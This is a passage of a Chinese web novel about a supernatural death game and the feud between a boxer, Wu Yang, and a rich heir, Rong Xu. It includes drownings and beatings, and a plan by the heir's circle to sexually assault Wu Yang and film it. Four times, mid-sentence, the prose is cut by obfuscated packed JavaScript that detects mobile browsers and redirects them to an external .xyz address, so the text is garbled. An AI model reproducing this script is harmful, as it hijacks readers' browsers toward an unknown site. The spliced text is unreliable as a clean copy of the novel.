我知道他拉了很多人进入这个游戏,我控制不住我的杀欲,明明听到那些男人的声音不是他,可我还是杀了他们。” 叶婷唯一放过的就是被无辜拉进来的女生,那些女生在发出声音后会被她踢出游戏,从而忘记这里发生的一切。 纵使这样,她也杀了很多无辜的人。 吴恙沉默了好一会,轻声道:“你已经报了仇,就忘记这些吧,你的奶奶还在等你。” “我送你回家。” 叶婷喃喃:“回家……” 她还能回到奶奶的身边吗? 容叙看了眼那堆烂肉一般的尸体,厌恶地啐了一口:“垃圾玩意。” 他最见不得这种底层出来的下贱玩意,只会欺负比自己弱小的废物。 吴恙凉凉扫了他一眼,也嗤道:“恕我直言,你也是垃圾。” 容叙:“……” 好想打人,但又打不过怎么办。 之后,吴恙引着叶婷去了那个偏僻隐密的小巷。 他终于知道,为什么这里会突然多出一片住宅区,又为什么会有一盏灯亮着。 那是叶婷的奶奶,用生前的执念,点亮了一盏为孙女指路回家的明灯。 【恭喜玩家完成诡异游戏——回家的明灯。】 6. 第 6 章 容叙醒来的时候,望着天花板上奢华的水晶吊灯看了好一会,才想起这是自己家。 他身旁站着家庭医生,什么仪器都上了一遍,确定没问题才道:“少爷身体无恙,多注意休息就成。” 听到“无恙”两个字,容叙心跳莫名漏了一拍。 他猛然想起自己之前不是带着保镖去围堵吴恙吗,怎么突然就回家了。 医生走后,一个美丽的贵妇人扑到他床边,眼睛都哭红了:“儿子,你要是出事,妈可怎么活啊。” 容叙从母亲口中得知,他们之前进到那处巷子后,他忽然昏倒,其他的保镖们赶忙送他去医院。 三辆车,有一车的保镖开车出事,被大货车撞了,车都被压烂了,里面的人全部当场死亡。 七个人,刚好是他之前带着去追吴恙的那几个。 容夫人后怕得很,无比庆幸她儿子没上那辆车,不然儿子出事了她肯定会疯的。 容叙是容家下一任继承人,虽然现在容叙有个名义上的父亲,还正当壮年,但谁都知道,容家大少基本上是废了,容家一直都听容老爷子的。 容老爷子对容叙这个明面上的孙子,私下的小儿子一直疼爱有加。 这也养成了容叙无法无天的性子。 这次的事,令容家上下排查了一遍,确定真的只是意外,容老爷子才熄了怒火。 容叙知道发生的事后,面色有些古怪。 他怎么刚好就晕了,还刚好跟他一起追吴恙的那些人都死了? 容叙想到什么,心中惊疑不定,等母亲走后,他赶忙问留在这的保镖。 “那个姓吴的呢?” “我们赶到的时候,对方已经不在了,应该是跑了。” 容叙不由眯起眼,语调带了几分恼火:“你们这群废物,那都能让他跑了。” 不知道怎么,他对吴恙的厌恨变得复杂起来,之前他恨不得弄死吴恙,现在听到吴恙跑了,竟有些莫名的怅然。 他还挺想见到吴恙的。 发现自己在想什么,容叙脸色都难看起来。 他在心里找补,他一定是想见到吴恙痛哭流涕地下跪求饶才对。 这时,管家过来,姿态恭敬:“少爷,谢少他们听说您出事了,都过来看望您。” 听到谢观言来了,容叙有些高兴,脸色都红润了几分:“快让他们进来。” 几位少爷步伐款款地走了进来,他们容貌和气质皆是不凡,每个都是金海市顶顶的豪门少爷,平时难得一聚,如今都来,也算是给容叙面子了。 管家带着仆人们离开,给这群富家少爷们留下私密的空间。 李政昱打量了片刻,见容叙躺在床上并无大碍,金边眼镜下的狐狸眼微微上挑,笑着调侃: “听说你带了十几保镖去围堵那个吴恙,怎么自己这边反倒出事了?” 容叙能听出对方语气里的幸灾乐祸,不由恼火地瞪他一眼:“谁知道那小子那么能打,打赢拳赛还打趴我十几个人。 我是真小瞧他了。” 他挺不想说这些的,就好像他在夸那吴恙多牛似的。 但事实是,吴恙确实挺牛的。 李政昱眸光闪烁,嘴角不由弯起意味不明的弧度: “之前还以为他只会虚张声势,原来他这么能打啊。” 让容叙栽跟头的人不多,还一下子栽两次跟头,李政昱都不得不承认,那个青年是真的厉害。 他真是,更有兴趣了。 谢观言从进来后就一直冷冷清清的模样,听到吴恙的名字,他想起那天撞见的青年。 他已经让人去查了。 他知道容叙一开始针对吴恙,可能是因为他家的事,也知道对方是为了帮他。 如果吴恙真的是他家要找的人,按照他们这圈子少爷们的习性,大概全都会选择私下处理,不留后患。 但他并不喜欢。 他眉头轻蹙,语气依旧冷淡,带了几分凉薄:“容叙,我知道你针对吴恙是想帮我,但他本就是无辜的,如果他真的是谢家要找的人,那我也认下了。 谢家的事还轮不到你插手,你也不要再去针对他了。” 容叙脸色一变,被谢观言冷言刺激下,他心里又窝火又气恼。 换做别人他早发脾气了,但看着谢观言那跟天仙一样的脸,他又不能像对待别人一样打骂。 他一开始确实是为了谢观言,但后面吴恙彻底得罪了他,他必须出了这口恶气才罢休。 不再针对?不可能。 他跟吴恙没完。 一时间房内的气氛变得尴尬起来。谢观言一向对什么都不在意,他们这些做朋友的,一直都重视他的心情。 这还是谢观言第一次表现出不悦。 祁乐适时地转移话题:“对了阿叙,你有没有想过,你这次昏倒,还有那几个保镖突然的死亡,有些像那个。” 全场又寂静下来。 他们心里谁都清楚,哪怕没人进过诡异游戏,凭着他们的人脉和权势,很早知道诡异的存在并不是难事。 容叙从醒来后就有所怀疑,在祁乐的提醒下,他越发觉得太像了。 他曾听人说过,初次进入游戏后,如果没有完成通关条件,或者杀死诡异,都会忘记游戏里发生的事。 而在游戏里死亡的人,现实中也会以正常方式死掉。 这个消息知道的人不多,毕竟很多人连自己进没进过游戏都不清楚。 太像了,那些保镖们的死法,还有他莫名的昏倒。 如果真是那样,是谁赢了游戏? 吴恙吗? 对了,容叙想起一件事,他醒来后让保镖找了下他之前衣服里的东西,其他东西都还在,只有那个诡器,纸相机消失了。 那意味着,他用完了使用次数。 或者,被抢了也可能? 容叙将自己的猜测告知其他人,众人都是沉默,就连一向什么都不在意的谢观言脸上都带了几分凝重。 “我让人查了那附近的监控,巷道里一直没监控,外面的确实拍到吴恙离开的背影。” 赫连则性子严谨沉稳,他家关系网最大,要查个监控只用打个电话,自有人会把他想要的送过来。 来前他就把想查的都弄清楚了。 众人相觑,心中渐渐明了。 看来吴恙很可能也参与了游戏,并且是赢得游戏的人。 李政昱漫不经心地笑了:“容叙,要真是这样的话,吴恙带你赢了游戏,说起来也算是救了你一命啊。” 容叙脸色涨红,心也不由跳快几分,语气里尽是恼羞成怒:“不可能!” 说不定吴恙能赢还靠他呢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814678|158659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他又有诡器,还知道不少情报,一般很多新人进入诡异游戏连情况都不知道就死了,吴恙绝对不可能靠着他自己就赢了游戏。 说不定对方低三下四求他帮忙,才碰巧赢了游戏。 而且他那边还有那么多保镖,就算死了,也说不定都是跟诡异奋战一番,硬生生把诡异耗得差不多了,才让吴恙捡了便宜。 嗯,一定是这样的! 竟然让吴恙占了便宜,真是可恶! 赫连则将翻折的手机打开,变成平板模式,他划拉了下,眸色黑沉凝重:“从我得到的消息来看,近几年诡异的数量还在增加,参与诡异游戏并获得记忆的玩家也变多了。” 他家不仅有全国局域的关系网,也有一个专门的团队分析研究那诡异游戏。 其他人知道的情报很多都来源于他。 他眉间郁色更深:“虽然现在碰到诡异的概率依旧低,但再照这样发展,不出五年,诡异游戏的覆盖率将会变得十分壮观。” 李政昱轻咦了声,面上依旧带着笑,像是聊家常一样:“那看来,以后我们谁都有可能会进到那游戏里。” 祁乐问:“那些诡异出现还是随机的吗,不能避开?” 赫连则唇角抿得很紧,半晌才道:“对,随机的。” 李政昱笑得兴味十足:“哈,多公平,不管是财富还是地位,进了那游戏里,都变得没用,死了就真的死了。” “还真想快点进入那游戏,玩一玩呢。” 容叙早就知道李政昱的疯劲,懒得管他。 他对谢观言道:“观言,我到时候让人再搞些诡器,你留着防身,如果真有天进了那游戏,也能有保障。” 容家有些特别的门路,所以能收购一些诡器。 之前容叙买来是为了好玩,现在看来,还是要多弄些用来防身。 诡异变多的话,这世界迟早要乱。 谢观言淡淡应了声,两家常年合作,他自然不会白拿,生意上自会放些利当作答谢。 有人又问他最近谢老爷子身体如何,谢观言眉眼带了几分忧色:“还是那样,睁开眼的时间越来越少了……” 老爷子醒来后总会浑浑噩噩地喊一个人,据说是老爷子的哥哥,偶尔还会提及他那个小叔。 他得尽快查清楚吴恙的身份,如果真的跟谢家有关,老爷子见了一定会高兴吧…… …… 等谢观言他们离开,容叙觉得身心都挺累的,或许他真的进了那游戏,现在整个人的状态依旧疲惫。 让管家备好热水后,他便去浴室泡澡。 他的浴室谁见了都得叹一声奢侈,跟个宫殿似的。 巨大的圆形浴缸坐落于中间,缸体由一整块水晶雕琢而成,水都是天然的温泉水,热气蒸腾,带着一股硫磺味和馥郁的檀香。 浴缸旁边摆放着一杯年份久远的路易十三白兰地,容叙伸手拿起,轻晃着里面琥珀色的液体,浅啜一口,惬意地眯起眸子。 “哟,容少怪会享受的。” 突然出现的声音,把容叙吓得一激灵,手里的酒也洒落在水里。 他不可置信地转头看向发出声音的地方,那个令他恨得牙痒痒的男人,此时正一脸微笑地站在他身后。 【技能:暗巷的尾随者(1/3)使用中,剩余时间:9:59】 7. 第 7 章 “你怎么会在这?” 容叙一脸见鬼的表情,但很快,他就想明白了其中缘由,脸色也阴沉了下来: “竟然真是你赢了游戏。” 虽然早就猜到了,但真确定如此,他心里还是觉得操蛋。 他这边损失了七个人,诡器也用完了,最后连个记忆也没保留。 相比之下,吴恙看着一点事也没,不仅赢了游戏,还获得了不知道什么的游戏奖励。 对方这样大喇喇地出现在他浴室里,一副泰然自若的模样,显然有什么不一般的手段。 简直太他妈嚣张了。 容叙没忍住问:“游戏奖励了你什么样的诡器?” 吴恙倒没立即做什么,而是很好心地给对方答疑解惑。 “不是诡器,是诡异技能。” 容叙眼中划过一丝不易察觉的诧异,眉头也不经意地皱了下。 从他得到的情报来看,诡异技能的抽中概率非常低,一般出十个诡器也不一定出一个技能。 而诡异技能,相对来说要比诡器强太多。 他知道的那些诡器里,就没见过能无视空间无视距离,突然出现在另一个人身后的。 太逆天了。 忽然想到自己刚刚的处境,容叙瞳孔骤然一缩,迟来的危机感令他后脊瞬间绷直,心脏也狂跳了几下。 此时他才感到后怕。 如果吴恙刚刚要弄死他,简直是轻而易举。 容叙此时深刻感受到他们之间的局势正在颠覆。 以往他觉得自己对付一个无权无势的吴恙,就像是捏死蚂蚁一样简单。 但此时对方突然出现,仿佛在高调地宣布,他不仅拿对方没办法,还被对方将军了。 心中又惊又怒,但看着吴恙站在那,嘴角勾出玩味的弧度,看他的眼神也透露着嘲讽和不屑,对方那无法言喻的嚣张气焰,配着那张帅得没话说的脸,容叙的心跳又莫名加快了几分。 水里波纹微微荡开,容叙脸色一变,薄红从覆了一层水珠的颈间蔓延开来,这个一向自视甚高的大少爷,头一次感到窘迫。 他身体侧了侧,确定吴恙没注意心里才松了口气。 他不知道自己在游戏里早就因为吴恙而兴奋过,此时惊异于自己竟有了感觉,还是在对方那不屑的目光下。 心里更恼的同时,那股隐秘的无法言喻的滋味更加明显。 他舔了舔干涩的唇,目光幽深地望向对方,声音喑哑了几分:“说吧,你来找我是为了什么?” 如果吴恙想杀他,刚刚不出声就可以做到,对方主动暴露,显然是有更大的目的。 为此对方竟不惜使用诡异技能。 一般来说越厉害的技能使用限制越多,他心中猜测对方最多只能用一次。 这不用在游戏里保命,专门来他这露个脸,也不是杀他,太不对劲了。 要么是蠢得没话说,要么有更大的算计。 吴恙挑起眉梢,很直截了当:“我来当然是要账啊。” 容叙愣了下,一下子没理解对方的意思。 “哦,是这样的容少,”吴恙笑得很官方,非常耐心地解释:“我们进了游戏后,你的那群保镖被诡异杀光,你那破相机对付不了诡异,于是你痛哭流涕,满脸悔过地向我下跪道歉,还求我救你。” “你还答应过我要是带你赢了游戏,你出来后就给我一个亿。” 容叙想都没想,斩钉截铁道:“不可能!” 吴恙肯定是瞎说!他给钱倒是有可能,但他下跪求饶,绝对不可能! 他心里隐隐感觉,对方或许就是趁着他没游戏里的记忆故意来趁火打劫。 一个亿,还真敢想啊? 他吴恙配一个亿吗? 大少爷心里突然就多出那么几分底气来,很是不屑。对方来只是为了要钱,他还以为多大的目的。 不过,为了钱也好,有了贪心,便可以随他拿捏。 容叙正想傲慢地跟吴恙讨价还价一下,却见吴恙脸色一沉,眸光瞬间变得犀利无比:“哦?看来容少是想赖账。” 他活动了下手腕,眼睫下敛,扯出一个毫无温度的笑来:“那我们就好好算算你之前用诡器偷袭我的账。” 容叙一惊,刚想喊人,吴恙猛地一个箭步冲过来,抓着他头发将他狠狠按在水里。 温泉水瞬间灌进他的鼻腔口腔,窒息感如潮水般汹涌袭来,容叙挣扎着想要起来,可吴恙力气很大,他只能在那奢侈宽大的浴缸里死命挣扎。 呛咳声在水下被闷出痛苦的呜咽,不知道多久,仿佛一个世纪过去,他没了挣扎的力气。 容叙真以为吴恙要淹死自己,心里的恐惧一下子放大到极致,也生出后悔再招惹这瘟神的想法。 突然,吴恙就将他拉出水,他痛苦地喘着气,用力咳嗽出肺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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容叙随手抄起一边的白兰地砸了过去,歇斯底里地怒斥:“滚出去!” 等管家离开后,他失力地倚靠在圆滑的浴缸壁面,温泉水热得好像要沸腾,将他烧得喘不上气来。 他胸口剧烈起伏,一双眸子失焦地盯着天花板,那种疯狂激烈的刺激,以及剧烈的愤怒交织在一起,几乎要将他焚烧殆尽。 他很久,才终于从齿尖咬出他恨极了的名字。 “吴恙!” 8. 第 8 章 这两天,容家气氛紧绷到极致,所有仆人包括有一定话语权的管家都战战兢兢的,大气不敢喘一下。 不知道发生了什么事,容少脾气变得更加阴沉易怒,两天下来辞退打骂了不少人,整个别墅人人自危。 “废物,连个人都找不到,我要你们有什么用?都给老子滚蛋!” 啪的一声,手机四分五裂,这是容叙今天砸的第五个了。 最快记录,刚在新机插上SIM卡,打完电话就砸了,全程不到五分钟。 满脸愠怒的男人仰靠在沙发上,胸膛剧烈起伏着。 周围已空无一人,没人敢在这时候触他霉头。 容叙只要一闭上眼就会想起吴恙,想起对方拿酒瓶砸他脑袋,掐他脖子,还将他按进水里十几次的画面。 他不想回忆这些耻辱至极的事,偏偏对方欺辱他时玩味散漫的笑,一直映在他脑海里,挥之不去。 一想到吴恙太阳穴就突突直跳,愤怒撩拨着他的神经,让他难以冷静。 他用尽了手段,也调了更多的人去找吴恙,他无时无刻想着抓到对方狠狠报复,但偏偏派出去那么多人,连吴恙个影子都摸不到。 这让他怎么不生气。 吴恙两个字在他心里念了不少遍,几乎快刻进他灵魂里,极致的恨让吴恙取代了任何人在他心底的重要性,他此刻疯狂想见到对方。 他气得胸口疼,又闷闷笑了两声,只是那笑跟淬了毒似的:“吴恙,老子一定要你后悔。” 可尽管再愤怒,他也无法找到对方。 那么大一个金海市,找一个人确实难,但对容家来说本该是个小事。 吴恙怎么就那么邪门。 明明就是个没背景的孤儿,竟让他栽了好几次跟头。 这也是容叙第一次感到无可奈何。 他卸力一般捂住自己的脸,耳边似是有什么声音响动。 哦,是他破防的声音。 意识到再这样下去,吴恙迟早成为自己的心魔,容叙也不得不承认吴恙的本事,承认他们容家确实也有做不到的事。 所以他硬着头皮,求助了李政昱他们。 能帮到容叙的,金海市寥寥无几,他们这圈子,各个金字塔顶端的少爷,其他人要想融入,不用猜就知道是来巴结的。 所以容叙承认的朋友,也只有那几个。 谢观言,李政昱,赫连则,祁乐。 除了谢观言是不食人间烟火的性子,容叙跟其他三人更能玩到一起,算是臭味相投,毕竟大家都不是什么好东西。 他们算不上什么至交好友,身份就在那,跟别人玩不到一块去,聚在一起又没什么好心,哪天谁落魄了,不落井下石就算好的了。 但真的搞事,或者看人笑话,一个比一个积极。 容叙又一次将人约到Elysian顶层包间,这次没叫上谢观言。 之前谢观言明确表示不让他再针对吴恙,所以容叙根本不打算让谢观言知道。 他只要有其他人帮助,区区一个吴恙,他还不信搞不定。 李政昱穿着件黑色风衣,进来时带了阵风,他面上斯文,但开口就暴露出那股子挑事的语调: “今儿怎么不去我们之前常待的那个包间了?” 一同前来的祁乐长着张乖巧显嫩的脸,像个男高中生,实际上性子是最黑的。 他弯起唇角,装得无辜:“你忘啦?阿叙在那个包间被人打了,肯定有心理阴影啊。” 走在最后的赫连则一言不发,在他们这些人里端得姿态最是沉稳,其实骨子里也不是个好的。 他们这几人性子都是一样的恶劣,要不是有个谢观言在,怕是能在金海市玩出花来。 也得亏这几人都对谢观言有那么些意思,谁要是乱搞肯定会被其他人知道,然后捅到谢观言跟前。 所以尽管匪夷所思,这几个太子爷竟非常的洁身自好。 也就容叙有不少花边新闻,但他们谁都清楚,那是容叙硬抗的尊严。 容叙听到那两人一唱一和,脸都阴了。 他深吸一口气,没法像打骂下属那样对待其他几位大少爷,尤其是他还有事相求。 他咬了咬牙,硬着头皮道:“你们帮我个忙。” 李政昱笑了:“怎么,还是没搞定那个吴恙?” 容家最近的动作太大了,所以他们不想知道也难。 李政昱很是好奇,容叙那天看着还好,怎么突然就不惜一切代价也要找到吴恙。 很可能他们离开后又发生了什么。 还真是好奇啊。 可惜,容叙是绝不可能告诉他们那天的事,他脸色阴沉了下,还是皱着眉压了脾气:“你们帮我抓住他,条件随便开。” “哦?” 赫连则难得也感兴趣起来,他问:“你抓到他后,打算做什么?” 他们这帮人,折磨一个人的方法有很多,只要不弄死,就有得玩。 容叙眸子黑沉沉的,恨意酝酿成粘稠滚烫的岩浆,在他胸腔滚动,似是要将一切吞噬。 他喉咙滚动,一字一句:“我要上他,玩烂他。” 周围静默,大家显然没想到他会这样说。 李政昱噙着笑:“不怕我们给观言告状?” 容叙以前可是最在意谢观言了,他的意思可不是告状对方去针对吴恙的事,而是,做了那种事,往后就别指望还能得到谢观言的青睐了。 容叙脸上有种不管不顾的疯劲:“随便吧。” 他现在就想抓到吴恙,玩烂他,让他那张狂的不像话的脸上露出痛苦,后悔的表情,不是嚣张傲慢吗,他会把对方的傲骨一寸寸碾碎,再也站不起来,只能跪下做他容叙的狗。 李政昱那张斯文漂亮的脸浮现出一抹温柔的笑,镜片后的眼眸闪着兴味盎然的光,难掩他的期待:“有意思,我也要加入。” 容叙愣了下:“什么?” 李政昱微笑:“你一个人可啃不动那么硬的骨头,所以,我们一起玩,怎样?” 容叙心里隐隐有些不舒服,但他太急切想要报复吴恙了,所以他痛快答应了。 “可以。” 祁乐和赫连则互相对视了眼,他们对吴恙倒没那么大的兴趣,但看这两人搞事,倒是高兴少了两对手。 想起那天掐着容叙脖子,看他们跟看垃圾一样的青年,这两人也有了看好戏的兴致。 奢华的包间里,矜贵傲慢的少爷们相视一笑,优雅从容下,暗藏着的恶意仿佛化为实质,犹如潜伏的毒蛇,已经锁定了猎物。 “行,我们帮你。” 他们也想看看,那青年,骨头会有多硬。 几杯酒喝下,大家都带了些醉意,也开始聊些平时衣冠楚楚时不会说的话题。 祁乐自己没乱搞过,但他看过,知道不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814680|158659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的花样。 他兴致冲冲地给出建议:“到时候我帮你录像吧,肯定很有意思。” 他脸上的笑明媚极了,就像是玩心大起的小朋友,看着单纯得很,要是忽略他眼里压不住的恶意的话。 容叙得到朋友们的帮助,心里也没那么躁郁了,他多喝了几杯,想想即将发生的事,嘴角就止不住地扬起。 “好啊,那你一定要用最好的设备,老子以后可要经常回放着看呢。” 光是想想,他浑身就兴奋得止不住颤抖。 吴恙,吴恙…… 他将那人的名字含在舌尖,混着微涩的酒液,细细品味,微麻的颤栗感从后脊缓缓攀起,他的手都有些抖。 像是已经将其吞之入腹,吃干抹净,他勾起愉悦的笑。 喝了不少酒后,容叙晃晃悠悠地起身,去了卫生间。 他今天难得的开心,解开裤子时都忍不住哼起歌来。 “容少这么开心啊?有什么好事?” 仿佛恶魔低语,容叙瞬间寒毛竖起,酒也清醒个大半,腹部一紧,他差点被吓尿了。 再看到吴恙时,他脑子空白了一瞬。 “卧槽!” 吴恙已经出现在他身后,顺手将卫生间的门反锁了,他依旧那副笑眯眯的模样,在此刻容叙的眼中犹如魔鬼。 容叙脑子宕机一瞬,当机立断大喊:“快来人,吴恙在这里!!!” 吴恙笑了:“这次有点长进,知道喊人了。” “不过,”他微微侧了下身,露出后面被他锁了的门,好心提醒:“这扇门应该能挡个十分钟吧。” 外面已经有了动静,有人在踹门,还有人试图开锁,可惜,他们这包间太高端了,卫生间的门都做得坚不可破。 这让吴恙非常满意。 他看了眼系统的倒计时,像是在赶时间催促道:“今天就不说废话了,给你来个挨揍纯享版。” 容叙:“……” 去他妈的纯享版。 容叙虽然震惊于对方竟还有技能使用的次数,但现在情况紧急,不用想也知道吴恙看起来要打他。 之前被对方欺辱的画面历历在目,他愤怒之余,又有一股恐惧,毕竟他真的打不过对方。 他赶忙道:“你之前不是要一个亿吗?我给!我立马转给你!” 吴恙扬起眉梢,随后无赖一笑:“哦,涨价了,现在得一个亿五千万。” “你别太过分!!!” 容叙是有钱,但也不代表他的钱是大风刮来的,那可是一亿五千万,不是一块五毛钱!!! 他气得都说不出话来了,下一瞬吴恙便将拳头照着他肚子砸去。 “体谅一下你大少爷的面子,我这次就不打脸了哈。” 吴恙很好心,但容叙根本不感动!!! 他疼得蜷缩起身体,想骂人,想回击,但吴恙的拳头太快,太硬,揍他跟揍小鸡仔一样,还丝毫不留情面。 不过他不知道,吴恙挑的地方也不算要害,毕竟是打过拳赛的,知道打哪疼,打哪不要命。 卫生间外,李政昱等人对着这质量堪比保险箱级别的门有些无语了。 “所以容叙干嘛要装这么好的门?” 赫连则道:“他之前说过,要是有人暗杀,这门能防弹。” “……” 祁乐神色复杂:“行吧,现在防我们进去救他了。” 9. 第 9 章 容叙就没见过有人得罪他还往死里得罪的,出门哪个不是看他容家太子爷的份上点头哈腰,恭恭敬敬的。 他都还没开展疯狂的报复,吴恙倒是主动上门,揍了他一次又一次。 太他妈嚣张了。 容叙疼得直不起腰,每一下挨得揍结结实实,除了脸,身上没有不疼的。 他恨极了,也恼极了,甚至生出了些畏惧。 人都是这样,记吃不记打,一开始容叙挨一下酒瓶,疼痛带给他震惊,愤怒,后来他觉得自己一定能让对方后悔。 第二次被按进水里,他慌乱,无措,事后更是理智全无想要疯狂报复。 第三次,身上的疼痛,以及那人毫不手软的拳头,他总算明白一件事,如果吴恙想弄死他,他早死好几次了。 他恨的同时,吴恙的威慑力也在加强,他开始迟疑,犹豫,对自己之后的报复计划产生动摇。 他真的能成功吗,要是没成功,吴恙又会用什么手段收拾他。 不用想,一定会比现在更狠绝。 被揍了不知多久,就好像度秒如年,容叙疼得满头是汗,也没力气挣扎,只能蜷着身躯硬抗下来。 他倒硬气,除了闷哼痛呼,也没求饶过。 终于,吴恙的拳头没再落下,他不由松了口气,趴伏在地上,狼狈地抽气。 他暗暗用手压着下面,因为刚刚就想小解,所以他那里胀得难受,浑身的疼痛钻心一般,又给他莫名的畅快。 他憋的难受,却只能拼命忍着。 要是他真的不小心尿出来,怕是能被吴恙嘲笑一辈子,那他以后就真没脸了。 所以容叙遭受着双重折磨,精神也快到了崩溃的边缘,仿佛置身悬崖边,行差踏错就是粉身碎骨。 吴恙掐好点就停下。 他没揍到时间结束,毕竟,他还要跟容叙好好谈一下。 男人半蹲下身,面色平静,漆黑的眸底带着刚揍完人的狠戾,所以他此时并不温柔地扯起容叙的头发,让对方抬头看向自己。 看到对方痛苦涨红的脸,吴恙毫无愧疚心,很是愉快地弯起唇,他凑近,灼热的呼吸落在对方的面颊。 “爽吗,容少?” 容叙浑身一颤,他以为自己那不可告人的隐秘快感被对方发现,脸一下子更红,呼吸也急促起来。 吴恙很满意容叙被自己气到的模样。 他本就不是什么善茬,最开始他跟对方也不过是普通的恩怨,是容叙破了规矩,要搞死他。 为了以后的安生日子,他也低头了。 可容叙得寸进尺,还想羞辱他。 这要再忍气吞声,就不是他吴恙的性格了,所以他利落地掀桌,选择硬碰硬。 既然对方高高在上地瞧不起他,那他就把对方打趴,只能匍匐在地上仰望自己。 吴恙很满意看到容叙痛苦的表情,他可是被对方害过两次,都是要他命的打算,所以他现在做的这些,都算是轻的。 也是容叙在游戏里好好跟他合作,所以他才没下更狠的手。 吴恙松开容叙的头发,从兜里取出火机和香烟,随意地抽出一根叼住,咔哒一声,火焰蹿起。 他微微低头,将烟凑近,幽蓝的火光照映在他漆黑平静的瞳仁,他的眼神专注,又带着莫名蛊人的意味。 吴恙不疾不徐地吸了一口,见容叙缓过劲来盯着自己,他缓缓吐出烟雾,问:“来一根?” 容叙也不知道自己怎么想的,竟然脑子一抽答应了:“给我一根。” 他想动,浑身疼得厉害,只能哀怨愤懑地瞪吴恙一眼:“我动不了。” 吴恙哼笑了声,很好脾气地给对方递到嘴边,还替对方点烟。 两人凑得极近,淡淡的烟草味在他们中间弥漫开来,有种难言的氛围。 容叙深深吸了一口,很快他就皱起眉头:“你这什么烂牌子,味道这么辛辣。” 不仅辛辣,还有些苦涩,仿佛嚼碎了未成熟的果子,一种难以言喻的麻木感在口腔里蔓延。 容叙虽然嫌弃,但还是又吸了一口。 尼古丁的味道让他身上的疼痛缓解了些,短暂适应了一开始的辛呛后,他又品味出不一样的滋味,仿佛烈火从喉咙烧下去,混合着烘焙坚果的醇厚味道,很是新奇的口感,竟令他有些上头。 跟吴恙的感觉很像。 他似是征服吴恙一般,又狠狠吸了一口。 吴恙见他缓过劲后,叼着烟,语调懒散道:“容少,我们打个赌吧。” 容叙盯着对方,明明恨极了怒极了,可偏偏看着对方这幅模样,什么火气都短暂压了下去,他问:“什么赌?” 吴恙吐出一口烟雾,漫不经心地笑了:“我能出现在你身后的技能还剩最后一次,我们赌一赌,下次我出现并且能全身而退的话,算我赢,你以后给我当小弟。” 容叙烟都忘记吸了,他紧紧盯着对方的眼睛,有些气笑了:“你这技能多犯规,时间到了就消失,谁能抓得住你?” 吴恙眼睑微微下垂,眼里透着惺忪的惬意,他站起身,居高临下地看对方,笑得很是无赖:“怎么,这么不自信?你不是还在找我吗,就算我消失了,我也不能从金海市消失啊。” 容叙瞳孔一缩,眼里的光闪烁起来,他也扯起恶意的笑来:“好啊,那如果你输了,我要你心甘情愿给我做狗。” 吴恙淡淡瞥了他一眼,目光带着显而易见的不屑,仿佛在嘲讽他白日做梦,他勾起唇,语气随意。 “没问题。” 话音刚落,男人的身影瞬间消失,那辛辣独特的尼古丁味道也跟着散去了些。 容叙疼得不行,但他表情却是兴奋的。 他支起身,再次解开皮带,憋了那么久终于释放的那一刻,他后脊都麻了。 他低低骂道:“吴恙,你等着。” …… 外面已经准备用上电锯了,这时门终于打开,容叙叼着根不知道什么牌子的烟,步伐踉跄地扶着墙走出来。 李政昱几人见状,表情一言难尽。 “你们刚刚不是在打架?” 容叙此时除了衣服凌乱些,脸上苍白些,看着并没什么伤,而最令人疑惑的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814681|158659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的表情竟带着隐隐的疯狂和兴奋。 怪了,难道不是挨揍? 卫生间的隔音效果还算不错,只有很大声外面才能听到动静,几人只听到一开始容叙的求救,后面就没再听到什么。 他们贴着门倒是能听清些容叙痛苦的闷哼声。 还有拳拳到肉的撞击声? 看容叙这表情,又不像是被揍后的模样,总不能是气疯了? 虽然容叙这幅模样很容易让人想歪,但他们清楚容叙的脾气,那种事几乎不可能。 所以吴恙究竟做了什么?能突然出现又消失,怕是用了诡异的手段,对方就么用了,也真是张狂到任性的程度。 李政昱此时对吴恙的兴趣达到前所未有的高度,他还真是好奇吴恙的手段,甚至想亲自见识一下。 容叙疼得龇牙咧嘴,见几人表情怪异,不由皱起眉:“你们这是什么表情?我现在浑身疼得很,帮我喊个医生过来。” 祁乐满脸八卦:“你刚刚跟吴恙?” 容叙一想到自己挨了一顿揍,脸上的表情都挂不住了,他阴下脸,恶狠狠道:“我一定要他后悔!” 祁乐心里有些失望。 害,还以为有别的呢,原来还真是被打了啊。 